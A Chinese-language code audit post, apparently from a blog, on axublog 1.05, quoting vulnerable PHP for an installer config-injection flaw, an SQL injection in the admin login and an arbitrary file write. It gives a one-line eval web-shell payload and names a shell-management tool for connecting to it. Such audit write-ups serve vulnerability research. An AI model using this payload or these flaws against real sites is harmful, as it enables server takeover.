• axublog 1.05代码审计


    00x1 安装漏洞

      install/cmsconfig.php

     1 function step4(){
     2 $root=$_POST["root"];
     3 $dbuser=$_POST["dbuser"];
     4 $dbpsw=$_POST["dbpsw"];
     5 $dbname=$_POST["dbname"];
     6 $tabhead=$_POST["tabhead"];
     7 
     8 $ad_user=$_POST["ad_user"];
     9 $ad_psw=$_POST["ad_psw"];
    10 
    11 $webname=$_POST["webname"];
    12 $weburl=$_POST["weburl"];
    13 $webinfo=$_POST["webinfo"];
    14 $webkeywords=$_POST["webkeywords"];
    15 $webauthor=$_POST["webauthor"];

    这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。

     1 $file="config_empty.php";
     2 $fp=fopen($file,"r"); //以写入方式打开文件
     3 $text2=fread($fp,4096); //读取文件内容
     4 $text2=str_replace('@root@',$root,$text2);
     5 $text2=str_replace('@dbuser@',$dbuser,$text2);
     6 $text2=str_replace('@dbpsw@',$dbpsw,$text2);
     7 $text2=str_replace('@dbname@',$dbname,$text2);
     8 $text2=str_replace('@tabhead@',$tabhead,$text2);
     9 $text2=str_replace('@webname@',$webname,$text2);
    10 $text2=str_replace('@weburl@',$weburl,$text2);
    11 $text2=str_replace('@webinfo@',$webinfo,$text2);
    12 $text2=str_replace('@webkeywords@',$webkeywords,$text2);
    13 $text2=str_replace('@webauthor@',$webauthor,$text2);
    14 $file="../cmsconfig.php"; //定义文件
    15 $fp=fopen($file,"w"); //以写入方式打开文件
    16 fwrite($fp,$text2); 
    17 @unlink("goinstall.php");

    这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。

    POC:"@eval($_POST['xishaonian'])

    然后菜刀直接连接就cmsconfig.php即可。

    注:该漏洞也在后台直接可以插一句话


     00x2 SQL注入

     ad/admin.php

    1 chkoutpost();
    2 $ad_user=$_POST["ad_user"];
    3 $ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',0); 
    4 global $tabhead;
    5 $tab=$tabhead."adusers";
    6 mysql_select_db($tab);
    7 $sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");

    很简答可以看到$ad_user没有过滤。直接性导致sql注入。


     00x3 

     1 <?php 
     2 function edit2save(){
     3 global $themepath;
     4 ?>
     5 <div class="yj_green" id=full>
     6 <b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
     7 <div class="boxcontent">
     8 <h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
     9 </div>
    10 <div class="t1"><div class="t2">
    11 <?php
    12 $path=$_REQUEST['path'];
    13 $content=stripslashes($_REQUEST['content']);
    14 ?>
    15 <p>编辑文件:<?=$path?></p>
    16 <?php
    17 if($path==''){echo'文件路径错误!';exit;}
    18 
    19 if(file_put_contents ($path, $content)){echo"保存文件成功!";} 
    20 else{echo"保存文件失败!";}
    21 ?>
    22 
    23 </div></div>
    24 <b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b>
    25 </div>    
  • 相关阅读:
    MySQL5.6 GTID、多线程复制
    WPS for Linux(ubuntu)字体配置(字体缺失解决办法)
    linux下用phpize给PHP动态添加扩展
    Zabbix汉化方法
    [FTP] Pure-FTPd SSL/TLS 配置方法
    PHP 缓存扩展opcache
    sftp搭建
    nginx https使用
    iptables基本规则
    kvm虚拟机安装
  • 原文地址:https://www.cnblogs.com/xishaonian/p/7453483.html
Copyright © 2020-2023  润新知